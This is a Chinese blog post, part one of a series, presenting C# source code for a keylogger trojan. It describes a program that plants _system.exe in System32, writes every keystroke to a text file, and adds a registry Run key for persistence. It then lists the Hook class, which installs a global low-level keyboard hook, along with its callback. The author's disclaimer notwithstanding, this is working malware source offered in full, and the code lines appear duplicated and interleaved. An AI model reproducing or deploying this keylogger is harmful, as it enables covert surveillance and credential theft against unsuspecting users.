1  Hook类的实现
网上这方面的内容很多,但大多没给出全部代码或者没有完整实现木马功能,这篇文章可能会有所帮助.我给出完整的代码不是提倡使用木马,只是在技术的谈论.
首先,这是一个较为完整的木马程序,运行或编译后会在System32下建一个名为keyReport.txt的文本文件用来记录所有按键消息,并且在System32下会有一个名为_system.exe木马主体.在注册表CurrentUser,Software\\Microsoft\\Windows\\CurrentVersion\\run的位置会叫上一个启动项,运行和编译请注意.
整个程序包含了4个类,From1,Hook, RegistryReport, Report.
Hook类返回一个键盘按下事件KeyboardEvent,并把按下键的信息发送给From1类,From1捕获到事件后,在调用Report类的WriteDate方法,写入文本文件,而RegistryReport负责在启动是向注册表添加信息.
我们先来说HOOK类.
木马不外呼就是获取键盘消息,这就要使用到HOOK技术,既键盘钩子.HOOK技术的资料网上也有很多,大家可以找来看,我这里就不详细说名了.
//安装钩子
 [DllImport("User32.dll",CharSet = CharSet.Auto)]
[DllImport("User32.dll",CharSet = CharSet.Auto)]  public static extern IntPtr SetWindowsHookEx(HookType hookType,HookProc hook,IntPtr instance,int threadID);
public static extern IntPtr SetWindowsHookEx(HookType hookType,HookProc hook,IntPtr instance,int threadID); [DllImport("User32.dll",CharSet = CharSet.Auto)]
[DllImport("User32.dll",CharSet = CharSet.Auto)]  public static extern IntPtr CallNextHookEx(IntPtr hookHandle, int code, int wParam, IntPtr lParam);
public static extern IntPtr CallNextHookEx(IntPtr hookHandle, int code, int wParam, IntPtr lParam);  [DllImport("User32.dll",CharSet = CharSet.Auto)]
[DllImport("User32.dll",CharSet = CharSet.Auto)]  public static extern bool UnhookWindowsHookEx(IntPtr hookHandle);
public static extern bool UnhookWindowsHookEx(IntPtr hookHandle); 
 public enum HookType{
public enum HookType{  WH_JOURNALRECORD       = 0,
              WH_JOURNALRECORD       = 0,  WH_JOURNALPLAYBACK     = 1,
              WH_JOURNALPLAYBACK     = 1,  WH_KEYBOARD            = 2,
              WH_KEYBOARD            = 2,  WH_GETMESSAGE          = 3,
              WH_GETMESSAGE          = 3,  WH_CALLWNDPROC         = 4,
              WH_CALLWNDPROC         = 4,  WH_CBT                 = 5,
              WH_CBT                 = 5,  WH_SYSMSGFILTER        = 6,
              WH_SYSMSGFILTER        = 6,  WH_MOUSE               = 7,
              WH_MOUSE               = 7,  WH_HARDWARE            = 8,
              WH_HARDWARE            = 8,  WH_DEBUG               = 9,
              WH_DEBUG               = 9,  WH_SHELL               = 10,
              WH_SHELL               = 10,  WH_FOREGROUNDIDLE      = 11,
              WH_FOREGROUNDIDLE      = 11,  WH_CALLWNDPROCRET      = 12,
              WH_CALLWNDPROCRET      = 12,  WH_KEYBOARD_LL         = 13,
              WH_KEYBOARD_LL         = 13,  WH_MOUSE_LL            = 14,
              WH_MOUSE_LL            = 14,  WH_MSGFILTER           = -1,
              WH_MSGFILTER           = -1,  }
         } 

首先在定义一个全局委托,这里说全局其实是不大合适的. 
这就是键盘事件句柄,有2个参数KeyboardEvents和Keys, 
 public enum KeyboardEvents{
public enum KeyboardEvents{  KeyDown          = 0x0100,
         KeyDown          = 0x0100,  KeyUp              = 0x0101,
         KeyUp              = 0x0101,  SystemKeyDown   = 0x0104,
         SystemKeyDown   = 0x0104,  SystemKeyUp         = 0x0105
         SystemKeyUp         = 0x0105  }
} KeyboardEvents结构定义了键盘消息的状态,是按下还是抬起.而System.Windows.Forms.Keys指示是哪一个键.
我们先来看看HOOK类的构造函数.
 public delegate IntPtr HookProc(int code, int wParam, IntPtr lParam);
public delegate IntPtr HookProc(int code, int wParam, IntPtr lParam); 


 private IntPtr instance;    //当前实例的句柄
private IntPtr instance;    //当前实例的句柄 


 private IntPtr hookHandle; //钩子的句柄
private IntPtr hookHandle; //钩子的句柄 


 private int threadID;     //要挂钩的线程句柄
private int threadID;     //要挂钩的线程句柄 


 private HookProc hookProcEx;//hook委托
private HookProc hookProcEx;//hook委托 


 public event KeyboardEventHandler KeyboardEvent; //自定义键盘事件
public event KeyboardEventHandler KeyboardEvent; //自定义键盘事件 
 public delegate void KeyboardEventHandler(KeyboardEvents keyEvent ,System.Windows.Forms.Keys key);
public delegate void KeyboardEventHandler(KeyboardEvents keyEvent ,System.Windows.Forms.Keys key); 
 public Hook(){
public Hook(){  this.instance =
     this.instance =  Marshal.GetHINSTANCE(Assembly.GetExecutingAssembly().GetModules()[0]);//反射当前的实例
     Marshal.GetHINSTANCE(Assembly.GetExecutingAssembly().GetModules()[0]);//反射当前的实例  this.threadID = 0;              //由于是全局钩子, threadID参数为0
     this.threadID = 0;              //由于是全局钩子, threadID参数为0  hookHandle = IntPtr.Zero;       //暂时初始化为IntPtr.Zero
     hookHandle = IntPtr.Zero;       //暂时初始化为IntPtr.Zero  hookProcEx = new HookProc(hookProc);  //实例化钩子委托,既钩子回调函数指针
     hookProcEx = new HookProc(hookProc);  //实例化钩子委托,既钩子回调函数指针  }
} 
在构造函数中我们初始化了一些字段,现在来看看HOOK类是如何捕获键盘消息并产生事件的.其中有2个函数共外部调用public bool SetHook(),public bool UnHook();一个是安装钩子,一个是卸载钩子.
 public bool SetHook(){
public bool SetHook(){  this.hookHandle = SetWindowsHookEx(HookType.WH_KEYBOARD_LL,hookProcEx,this.instance,this.threadID);
               this.hookHandle = SetWindowsHookEx(HookType.WH_KEYBOARD_LL,hookProcEx,this.instance,this.threadID);  return ((int)hookHandle != 0);
               return ((int)hookHandle != 0);  }
} SetWindowsHookEx函数成功后,返回一个非零钩子句柄给hookHandle.在SetWindowsHookEx中将回调hookProcEx委托,他在先前hookProcEx = new HookProc(hookProc);于是当有键盘消息时他将执行
 public IntPtr hookProc(int code, int wParam, IntPtr lParam){
public IntPtr hookProc(int code, int wParam, IntPtr lParam){  if(code >= 0){
            if(code >= 0){  KeyboardEvents kEvent = (KeyboardEvents)wParam;
               KeyboardEvents kEvent = (KeyboardEvents)wParam;  //如果事件不是KeyDown, KeyUp, SystemKeyDown, SystemKeyUp
               //如果事件不是KeyDown, KeyUp, SystemKeyDown, SystemKeyUp  //执行CallNextHookEx,调用下一个钩子.
               //执行CallNextHookEx,调用下一个钩子.  if (kEvent != KeyboardEvents.KeyDown        &&
                if (kEvent != KeyboardEvents.KeyDown        &&  kEvent != KeyboardEvents.KeyUp          &&
                     kEvent != KeyboardEvents.KeyUp          && kEvent != KeyboardEvents.SystemKeyDown &&
                     kEvent != KeyboardEvents.SystemKeyDown &&  kEvent != KeyboardEvents.SystemKeyUp) {
                     kEvent != KeyboardEvents.SystemKeyUp) {  return CallNextHookEx(this.hookHandle,(int)HookType.WH_KEYBOARD_LL,wParam, lParam);
                         return CallNextHookEx(this.hookHandle,(int)HookType.WH_KEYBOARD_LL,wParam, lParam);  }
                }  //如果是KeyDown, KeyUp, SystemKeyDown, SystemKeyUp
               //如果是KeyDown, KeyUp, SystemKeyDown, SystemKeyUp  //则执行以下的,我们把lParam参数映射到一个KeyboardHookStruct结构中
               //则执行以下的,我们把lParam参数映射到一个KeyboardHookStruct结构中  KeyboardHookStruct MyKey = new KeyboardHookStruct();
               KeyboardHookStruct MyKey = new KeyboardHookStruct();  Type t = MyKey.GetType();
               Type t = MyKey.GetType();  MyKey = (KeyboardHookStruct)Marshal.PtrToStructure(lParam,t);
               MyKey = (KeyboardHookStruct)Marshal.PtrToStructure(lParam,t);  Keys keyData=(Keys)MyKey.vkCode;
               Keys keyData=(Keys)MyKey.vkCode;  //产生键盘事件
               //产生键盘事件  KeyboardEvent(kEvent, keyData);
               KeyboardEvent(kEvent, keyData);  }
         }  return CallNextHookEx(this.hookHandle,(int)HookType.WH_KEYBOARD_LL,wParam, lParam);
         return CallNextHookEx(this.hookHandle,(int)HookType.WH_KEYBOARD_LL,wParam, lParam);  }
}  [StructLayout(LayoutKind.Sequential)]
[StructLayout(LayoutKind.Sequential)]  public struct KeyboardHookStruct{
         public struct KeyboardHookStruct{  public int vkCode; //表示一个在1到254间的虚似键盘码
         public int vkCode; //表示一个在1到254间的虚似键盘码 public int scanCode; //表示硬件扫描码
         public int scanCode; //表示硬件扫描码 public int flags;
         public int flags;  public int time;
         public int time;  public int dwExtraInfo;
         public int dwExtraInfo;  }
} 
Marshal.PtrToStructure这个方法可以把非托管的变量转换为一个托管的变量.参数中要给出托管变量的类型(TYPE). 于是我们可以通过这种方式看到键盘消息中的虚拟键码MyKey.vkCode;
Keys keyData=(Keys)MyKey.vkCode;
通过上面的方式,转换成System.Windows.Forms.Keys枚举.
得到键盘消息后,我们就把键盘消息封装在一个叫做KeyboardHookStruct kEvent的结构里,并产生事件.
KeyboardEvent(kEvent, keyData);
就这样一个键盘事件就发送出去了.
最后还有卸载钩子.
 public bool UnHook(){
public bool UnHook(){  return Hook.UnhookWindowsHookEx(this.hookHandle);
         return Hook.UnhookWindowsHookEx(this.hookHandle);  }
}  
                    
                 


 
             
                
            
         浙公网安备 33010602011771号
浙公网安备 33010602011771号